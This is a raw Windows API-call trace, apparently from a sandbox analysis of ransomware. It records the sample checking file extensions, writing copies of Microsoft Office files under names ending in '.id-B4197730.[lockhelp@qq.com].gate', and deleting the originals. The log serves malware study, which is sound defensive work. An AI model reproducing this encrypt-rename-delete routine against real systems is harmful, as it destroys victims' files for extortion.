lstrlenW (lpString=".docx") returned 5 [0307.740] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0307.740] lstrlenW (lpString=".pdf") returned 4 [0307.740] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0307.740] lstrlenW (lpString=".xls") returned 4 [0307.740] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0307.740] lstrlenW (lpString=".xlsx") returned 5 [0307.740] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0307.740] lstrlenW (lpString=".ppt") returned 4 [0307.740] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0307.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi") returned 64 [0307.740] lstrlenW (lpString=".zip") returned 4 [0307.740] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0307.740] lstrlenW (lpString=".rar") returned 4 [0307.740] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0307.740] lstrlenW (lpString=".bz2") returned 4 [0307.740] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0307.743] lstrlenW (lpString=".7z") returned 3 [0307.743] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0307.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi") returned 64 [0307.743] lstrlenW (lpString=".dbf") returned 4 [0307.743] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0307.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi") returned 64 [0307.744] lstrlenW (lpString=".1cd") returned 4 [0307.744] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0307.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi") returned 64 [0307.744] lstrlenW (lpString=".jpg") returned 4 [0307.744] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0307.747] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe" (normalized: "c:\\program files\\microsoft office\\root\\integration\\onedrivesetup.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\integration\\onedrivesetup.exe.id-b4197730.[lockhelp@qq.com].gate")) returned 0 [0307.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe") returned 68 [0307.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe") returned 68 [0307.747] lstrlenW (lpString=".doc") returned 4 [0307.747] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0307.747] lstrlenW (lpString=".docx") returned 5 [0307.747] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0307.747] lstrlenW (lpString=".pdf") returned 4 [0307.747] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0307.747] lstrlenW (lpString=".xls") returned 4 [0307.747] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0307.747] lstrlenW (lpString=".xlsx") returned 5 [0307.747] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0307.747] lstrlenW (lpString=".ppt") returned 4 [0307.747] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0307.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe") returned 68 [0307.747] lstrlenW (lpString=".zip") returned 4 [0307.747] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0307.747] lstrlenW (lpString=".rar") returned 4 [0307.747] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0307.747] lstrlenW (lpString=".bz2") returned 4 [0307.747] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0307.747] lstrlenW (lpString=".7z") returned 3 [0307.747] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0307.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe") returned 68 [0307.748] lstrlenW (lpString=".dbf") returned 4 [0307.748] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0307.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe") returned 68 [0307.748] lstrlenW (lpString=".1cd") returned 4 [0307.748] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0307.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe") returned 68 [0307.748] lstrlenW (lpString=".jpg") returned 4 [0307.748] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0307.749] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31927.msp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31927.msp.id-b4197730.[lockhelp@qq.com].gate")) returned 0 [0307.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp") returned 63 [0307.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp") returned 63 [0307.749] lstrlenW (lpString=".doc") returned 4 [0307.749] lstrcmpiW (lpString1=".doc", lpString2=".msp") returned -1 [0307.749] lstrlenW (lpString=".docx") returned 5 [0307.749] lstrcmpiW (lpString1=".docx", lpString2="7.msp") returned -1 [0307.749] lstrlenW (lpString=".pdf") returned 4 [0307.750] lstrcmpiW (lpString1=".pdf", lpString2=".msp") returned 1 [0307.750] lstrlenW (lpString=".xls") returned 4 [0307.750] lstrcmpiW (lpString1=".xls", lpString2=".msp") returned 1 [0307.750] lstrlenW (lpString=".xlsx") returned 5 [0307.750] lstrcmpiW (lpString1=".xlsx", lpString2="7.msp") returned -1 [0307.750] lstrlenW (lpString=".ppt") returned 4 [0307.750] lstrcmpiW (lpString1=".ppt", lpString2=".msp") returned 1 [0307.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp") returned 63 [0307.750] lstrlenW (lpString=".zip") returned 4 [0307.750] lstrcmpiW (lpString1=".zip", lpString2=".msp") returned 1 [0307.750] lstrlenW (lpString=".rar") returned 4 [0307.750] lstrcmpiW (lpString1=".rar", lpString2=".msp") returned 1 [0307.750] lstrlenW (lpString=".bz2") returned 4 [0307.750] lstrcmpiW (lpString1=".bz2", lpString2=".msp") returned -1 [0307.750] lstrlenW (lpString=".7z") returned 3 [0307.750] lstrcmpiW (lpString1=".7z", lpString2="msp") returned -1 [0307.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp") returned 63 [0307.750] lstrlenW (lpString=".dbf") returned 4 [0307.750] lstrcmpiW (lpString1=".dbf", lpString2=".msp") returned -1 [0307.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp") returned 63 [0307.750] lstrlenW (lpString=".1cd") returned 4 [0307.750] lstrcmpiW (lpString1=".1cd", lpString2=".msp") returned -1 [0307.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp") returned 63 [0307.750] lstrlenW (lpString=".jpg") returned 4 [0307.750] lstrcmpiW (lpString1=".jpg", lpString2=".msp") returned -1 [0307.751] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31928.msp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31928.msp.id-b4197730.[lockhelp@qq.com].gate")) returned 0 [0307.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp") returned 63 [0307.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp") returned 63 [0307.751] lstrlenW (lpString=".doc") returned 4 [0307.751] lstrcmpiW (lpString1=".doc", lpString2=".msp") returned -1 [0307.751] lstrlenW (lpString=".docx") returned 5 [0307.751] lstrcmpiW (lpString1=".docx", lpString2="8.msp") returned -1 [0307.751] lstrlenW (lpString=".pdf") returned 4 [0307.751] lstrcmpiW (lpString1=".pdf", lpString2=".msp") returned 1 [0307.751] lstrlenW (lpString=".xls") returned 4 [0307.751] lstrcmpiW (lpString1=".xls", lpString2=".msp") returned 1 [0307.751] lstrlenW (lpString=".xlsx") returned 5 [0307.751] lstrcmpiW (lpString1=".xlsx", lpString2="8.msp") returned -1 [0307.751] lstrlenW (lpString=".ppt") returned 4 [0307.751] lstrcmpiW (lpString1=".ppt", lpString2=".msp") returned 1 [0307.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp") returned 63 [0307.751] lstrlenW (lpString=".zip") returned 4 [0307.751] lstrcmpiW (lpString1=".zip", lpString2=".msp") returned 1 [0307.751] lstrlenW (lpString=".rar") returned 4 [0307.751] lstrcmpiW (lpString1=".rar", lpString2=".msp") returned 1 [0307.751] lstrlenW (lpString=".bz2") returned 4 [0307.751] lstrcmpiW (lpString1=".bz2", lpString2=".msp") returned -1 [0307.751] lstrlenW (lpString=".7z") returned 3 [0307.752] lstrcmpiW (lpString1=".7z", lpString2="msp") returned -1 [0307.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp") returned 63 [0307.752] lstrlenW (lpString=".dbf") returned 4 [0307.752] lstrcmpiW (lpString1=".dbf", lpString2=".msp") returned -1 [0307.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp") returned 63 [0307.752] lstrlenW (lpString=".1cd") returned 4 [0307.752] lstrcmpiW (lpString1=".1cd", lpString2=".msp") returned -1 [0307.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp") returned 63 [0307.752] lstrlenW (lpString=".jpg") returned 4 [0307.752] lstrcmpiW (lpString1=".jpg", lpString2=".msp") returned -1 [0307.752] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\sppredist.msi"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\integration\\sppredist.msi.id-b4197730.[lockhelp@qq.com].gate")) returned 0 [0307.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64 [0307.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64 [0307.752] lstrlenW (lpString=".doc") returned 4 [0307.752] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0307.752] lstrlenW (lpString=".docx") returned 5 [0307.752] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0307.752] lstrlenW (lpString=".pdf") returned 4 [0307.753] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0307.753] lstrlenW (lpString=".xls") returned 4 [0307.753] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0307.753] lstrlenW (lpString=".xlsx") returned 5 [0307.753] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0307.753] lstrlenW (lpString=".ppt") returned 4 [0307.753] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0307.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64 [0307.753] lstrlenW (lpString=".zip") returned 4 [0307.753] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0307.753] lstrlenW (lpString=".rar") returned 4 [0307.753] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0307.753] lstrlenW (lpString=".bz2") returned 4 [0307.753] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0307.753] lstrlenW (lpString=".7z") returned 3 [0307.753] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0307.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64 [0307.753] lstrlenW (lpString=".dbf") returned 4 [0307.753] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0307.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64 [0307.753] lstrlenW (lpString=".1cd") returned 4 [0307.753] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0307.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64 [0307.753] lstrlenW (lpString=".jpg") returned 4 [0307.753] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0307.861] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.861] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x64.msu.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0308.064] GetLastError () returned 0x0 [0308.064] ReadFile (in: hFile=0x4f4, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0xfa976, lpOverlapped=0x0) returned 1 [0308.274] WriteFile (in: hFile=0x52c, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0xfa980, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0xfa980, lpOverlapped=0x0) returned 1 [0308.564] ReadFile (in: hFile=0x4f4, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0308.564] WriteFile (in: hFile=0x52c, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x10c, lpOverlapped=0x0) returned 1 [0308.565] SetEndOfFile (hFile=0x52c) returned 1 [0308.877] CloseHandle (hObject=0x52c) returned 1 [0308.877] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0308.877] SetEndOfFile (hFile=0x4f4) returned 1 [0308.986] CloseHandle (hObject=0x4f4) returned 1 [0308.987] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0309.002] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x64.msu")) returned 1 [0309.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0309.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0309.012] lstrlenW (lpString=".doc") returned 4 [0309.012] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0309.012] lstrlenW (lpString=".docx") returned 5 [0309.012] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0309.012] lstrlenW (lpString=".pdf") returned 4 [0309.012] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0309.012] lstrlenW (lpString=".xls") returned 4 [0309.012] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0309.012] lstrlenW (lpString=".xlsx") returned 5 [0309.012] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0309.012] lstrlenW (lpString=".ppt") returned 4 [0309.012] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0309.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0309.012] lstrlenW (lpString=".zip") returned 4 [0309.012] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0309.012] lstrlenW (lpString=".rar") returned 4 [0309.012] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0309.012] lstrlenW (lpString=".bz2") returned 4 [0309.012] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0309.012] lstrlenW (lpString=".7z") returned 3 [0309.012] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0309.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0309.012] lstrlenW (lpString=".dbf") returned 4 [0309.012] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0309.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0309.012] lstrlenW (lpString=".1cd") returned 4 [0309.013] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0309.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0309.013] lstrlenW (lpString=".jpg") returned 4 [0309.013] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0309.280] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0309.280] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0309.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0309.280] GetLastError () returned 0x0 [0309.280] ReadFile (in: hFile=0x50c, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0xf2d1d, lpOverlapped=0x0) returned 1 [0309.681] WriteFile (in: hFile=0x4f4, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0xf2d20, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0xf2d20, lpOverlapped=0x0) returned 1 [0309.696] ReadFile (in: hFile=0x50c, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0309.697] WriteFile (in: hFile=0x4f4, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x10c, lpOverlapped=0x0) returned 1 [0309.697] SetEndOfFile (hFile=0x4f4) returned 1 [0309.697] CloseHandle (hObject=0x4f4) returned 1 [0309.697] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0309.697] SetEndOfFile (hFile=0x50c) returned 1 [0309.725] CloseHandle (hObject=0x50c) returned 1 [0309.725] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0309.741] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu")) returned 1 [0309.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0309.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0309.742] lstrlenW (lpString=".doc") returned 4 [0309.742] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0309.742] lstrlenW (lpString=".docx") returned 5 [0309.742] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0309.742] lstrlenW (lpString=".pdf") returned 4 [0309.742] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0309.742] lstrlenW (lpString=".xls") returned 4 [0309.742] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0309.743] lstrlenW (lpString=".xlsx") returned 5 [0309.743] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0309.743] lstrlenW (lpString=".ppt") returned 4 [0309.743] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0309.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0309.743] lstrlenW (lpString=".zip") returned 4 [0309.743] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0309.743] lstrlenW (lpString=".rar") returned 4 [0309.743] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0309.743] lstrlenW (lpString=".bz2") returned 4 [0309.743] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0309.743] lstrlenW (lpString=".7z") returned 3 [0309.743] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0309.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0309.743] lstrlenW (lpString=".dbf") returned 4 [0309.743] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0309.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0309.743] lstrlenW (lpString=".1cd") returned 4 [0309.743] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0309.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0309.743] lstrlenW (lpString=".jpg") returned 4 [0309.743] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0309.746] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0309.746] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0309.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ppd.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0312.498] GetLastError () returned 0x0 [0312.498] ReadFile (in: hFile=0x50c, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x5127, lpOverlapped=0x0) returned 1 [0312.913] WriteFile (in: hFile=0x564, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x5130, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x5130, lpOverlapped=0x0) returned 1 [0312.914] ReadFile (in: hFile=0x50c, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0312.914] WriteFile (in: hFile=0x564, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x104, lpOverlapped=0x0) returned 1 [0312.914] SetEndOfFile (hFile=0x564) returned 1 [0312.915] CloseHandle (hObject=0x564) returned 1 [0312.915] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.915] SetEndOfFile (hFile=0x50c) returned 1 [0312.917] CloseHandle (hObject=0x50c) returned 1 [0312.917] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0312.918] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ppd.xrm-ms")) returned 1 [0312.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0312.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0312.918] lstrlenW (lpString=".doc") returned 4 [0312.918] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0312.919] lstrlenW (lpString=".docx") returned 5 [0312.919] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0312.919] lstrlenW (lpString=".pdf") returned 4 [0312.919] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0312.919] lstrlenW (lpString=".xls") returned 4 [0312.919] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0312.919] lstrlenW (lpString=".xlsx") returned 5 [0312.919] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0312.919] lstrlenW (lpString=".ppt") returned 4 [0312.919] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0312.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0312.919] lstrlenW (lpString=".zip") returned 4 [0312.919] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0312.919] lstrlenW (lpString=".rar") returned 4 [0312.919] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0312.919] lstrlenW (lpString=".bz2") returned 4 [0312.919] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0312.919] lstrlenW (lpString=".7z") returned 3 [0312.919] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0312.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0312.919] lstrlenW (lpString=".dbf") returned 4 [0312.919] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0312.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0312.919] lstrlenW (lpString=".1cd") returned 4 [0312.919] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0312.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0312.919] lstrlenW (lpString=".jpg") returned 4 [0312.919] 